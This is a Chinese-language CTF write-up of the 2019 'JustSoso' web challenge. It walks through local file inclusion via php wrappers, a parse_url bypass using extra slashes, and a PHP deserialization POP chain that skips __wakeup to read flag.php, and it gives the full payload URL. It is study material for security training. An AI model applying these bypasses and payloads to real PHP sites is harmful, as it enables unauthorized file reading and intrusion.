0x00

这道题是刚好在网上看到的,感觉跟moctf里有一道PUBG,还有bugku里的一道welcome to bugkuctf都很像,但又有些区别,所以就学习学习。

参考自:https://www.anquanke.com/post/id/177039

http://www.cnblogs.com/kagari/p/10758155.html

0x01

打开题目后右键查看源码

提示需要传参数,这里存在LFI漏洞(本地文件包含),常规操作伪协议读一下源码: 

index.php:

<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];if (!isset($file)) {echo 'Missing parameter' . '<br>';
}if (preg_match("/flag/", $file)) {die('hack attacked!!!');
}@include ($file);
if (isset($payload)) {$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'], $query);foreach ($query as $value) {if (preg_match("/flag/", $value)) {die('stop hacking!');exit();}}$payload = unserialize($payload);
} else {echo "Missing parameters";
}
?>

hint.php:

<?php
class Handle {private $handle;public function __wakeup() {foreach (get_object_vars($this) as $k => $v) {$this->$k = null;}echo "Waking upn";}public function __construct($handle) {$this->handle = $handle;}public function __destruct() {$this->handle->getFlag();}
}class Flag {public $file;public $token;public $token_flag;function __construct($file) {$this->file = $file;$this->token_flag = $this->token = md5(rand(1, 10000));}public function getFlag() {$this->token_flag = md5(rand(1, 10000));if ($this->token === $this->token_flag) {if (isset($this->file)) {echo @highlight_file($this->file, true);}}}
}
?>

首先会对我们传入的参数调用parse_url函数进行解析,然后对我们的每个参数进行正则匹配,匹配到flag就直接退出。

这里就要用到parse_url的解析漏洞,可以查看一叶飘零师傅的文章:

https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

我们只需要加多两条/

就可以绕过正则匹配。

分析hint.php:

分别有两个类。

(1)Handle类,里面有一个private成员和三个成员函数。  

①private $handle;

②function __wakeup()

③function __construct()

④function __destruct()

(2)Flag类,里面有三个public成员和两个成员函数。

①public $file;

②public $token;

③public $token_flag;

④function __construct()

⑤function getFlag()

之后我们查看hint.php,看到

class Handle{}中引用了getFlag函数:

public function __destruct(){    $this->handle->getFlag();
}

class Flag{}中定义了getFlag函数:

public function getFlag() {$this->token_flag = md5(rand(1, 10000));if ($this->token === $this->token_flag) {if (isset($this->file)) {echo @highlight_file($this->file, true);}}
}

所以最终我们的目的就是触发getFlag函数,且传入file参数为flag.php。

显然这里考察的是反序列化,因此我们构造pop链。

1,构造一个Flag类型得变量,传入参数为flag.php => $b = new Flag(“flag.php”);

2,构造一个Handle类型得变量,使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>

$a = new Handle($b);

3,Handle类中的__wakeup()会把变量清空,所以我们要在反序列化之后,修改一下变量数量,将payload中O:6:"Handle":1改为O:6:"Handle":2

4,要让token===token_flag,我们可以使用引用,使token变为token_flag的引用

$b = new Flag("flag.php");
$b->token = &$b->token_flag;
$a = new Handle($b);
echo serialize($a);

执行得到 O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"0b794a03744a03800313ca0f2e291294";s:10:"token_flag";R:4;}}

Payload:

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"0b794a03744a03800313ca0f2e291294";s:10:"token_flag";R:4;}}

还有一点要注意:s:14:"Handlehandle" 为什么长度是12,前面的值却是14呢?

这是因为当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00,因此长度为14。

类似的protect属性,则是在*前后各有一个0x00。可以自己在本地尝试一下。

0x00的url编码为%00,因此我们传参时要进行编码。

因此最终payload要加上%00。

2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)相关推荐

  1. 大学生HTML5竞赛网站,2019全国大学生信息安全竞赛Web Writeup

    这次web题真切得让我感受到了我得辣鸡 顿时被打了鸡血 最后只做出来一题,但是有两道题都是马上要出来了最后时间不够 ,这里总结一下 web1 JustSoso 打开之后是这样得 右键查看源码 提示需要 ...

  2. 2019全国大学生信息安全竞赛—Web

    0x01 JustSoso parse_url的解析漏洞 _wakeup()绕过 序列化pop链的构造 php引用赋值 打开页面后查看源代码: 提示为本地文件包含漏洞,查看index.php和hint ...

  3. 2019全国大学生信息安全竞赛初赛writeup

    part_des 题目描述 Round n part_encode-> 0x92d915250119e12b Key map -> 0xe0be661032d5f0b676f82095e4 ...

  4. 突出计算机学院的比赛名,学院在2019年全国大学生信息安全竞赛安徽省赛中喜获佳绩...

    由安徽省教育厅主办的全国大学生信息安全竞赛安徽省赛,共设安徽省大学生网络攻防赛和安徽省大学生信息安全作品赛两项分赛事.学院由计算机学院组织多个团队参赛,分别获得2019年安徽省大学生网络攻防赛一等奖一 ...

  5. 第十三届全国大学生信息安全竞赛(线上初赛)

    第十三届全国大学生信息安全竞赛(线上初赛) 干啥啥不行,混子第一名,全靠躺,,,,,队友带飞! WEB easyphp 打开题目拿到源码: 根据题目的描述,让进程异常退出,进入到phpinfo中 pa ...

  6. 计算机网络空间安全大赛报道,网络空间安全学院成功举办第十三届全国大学生信息安全竞赛线上宣讲会...

    3月28日晚,网络空间安全学院召开2020年第十三届全国大学生信息安全竞赛宣讲会.本次线上宣讲会由学院副院长刘志强指导,张慧翔和邰瑜组织.网络空间安全学院.自动化学院.计算机学院.软件学院等约70名本 ...

  7. 计算机弹奏卡布奇诺,计算机学院信息安全技术协会卡布奇诺加糖队在第十二届全国大学生信息安全竞赛中喜获佳绩...

    7月27号,第十二届全国大学生信息安全竞赛--创新实践能力赛在电子科技大学圆满结束.我校信息安全技术协会卡布奇诺实验室派出2支队伍参加本次竞赛,并在指导老师刘朝晖的精心指导下获得全国三等奖的好成绩. ...

  8. 赛宁首创革新赛制助力人才培养 | 第十六届全国大学生信息安全竞赛-创新实践能力赛全面启动!

    ​​为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,实现以赛促学.以赛促教.以赛促用,推动网络空间安全人才培养和产学研用生态发展,由国防科技大学与中国科学技术大学联合承办的第十六届全 ...

  9. re学习笔记(101)i春秋 全国大学生信息安全竞赛 计时挑战

    本文首发于 i春秋公众号 巧用Frida与Unidbg快速在CTF中解题 题目名称:计时挑战,你能当人肉计时器么? 题目下载地址:https://pan.baidu.com/s/11BcKF6LTWQ ...

最新文章

  1. 微软的平板电脑_关于微软轻便版平板电脑Surface Go,你想知道的一切细节都在这了...
  2. 检查列表中是否存在值的最快方法
  3. UE4_Lighting Scenarios
  4. 码农如何快速打造一个有设计感的网站
  5. 对Xml文档进行操作(修改,删除)
  6. (BFS)Prime Path (poj3126)
  7. 联通g网java业务的是什么_联通发力G网增值业务
  8. python内存地址替换原理(20秒读懂)
  9. Spark采用分区方式读取数据库时partitionColumn, lowerBound, upperBound, numPartitions的理解与验证
  10. Solidity 系列教程
  11. 步进电机和步进电机电机驱动器
  12. 最全的Java多线程面试题
  13. Java生成圆角图标
  14. 网管实战:为网络系统构建ISA防火墙
  15. mac用brew安装mysql报错1045(28000)
  16. 读《大数据时代》有感
  17. 中兴跳楼程序员妻子:他们就这样把我老公逼死了
  18. hp台式计算机怎么进bois,hp台式机怎么进bios图解
  19. 深度学习之语义分割unet算法解读
  20. uniApp学习(8)搜索框的创建和自动获取焦点

热门文章

  1. ENVI制作土壤干旱墒情专题图/地域干旱分布
  2. Stm32 SRAM 启动方法
  3. win10+anaconda+pycharm python画图完整过程
  4. 为您的创业公司推荐5款类Slack开源协作工具
  5. 全球及中国轮胎行业发展方向与销售前景状况分析报告2022年
  6. 使用Selenium获取银行账户余额
  7. Android studio 写xml的不能自动补全的问题
  8. 小米计算机无法清除,小米蓝牙怎么删除不常用设备
  9. Unity Shader学习-高光反射
  10. SpringBoot物流管理项目(源码下载)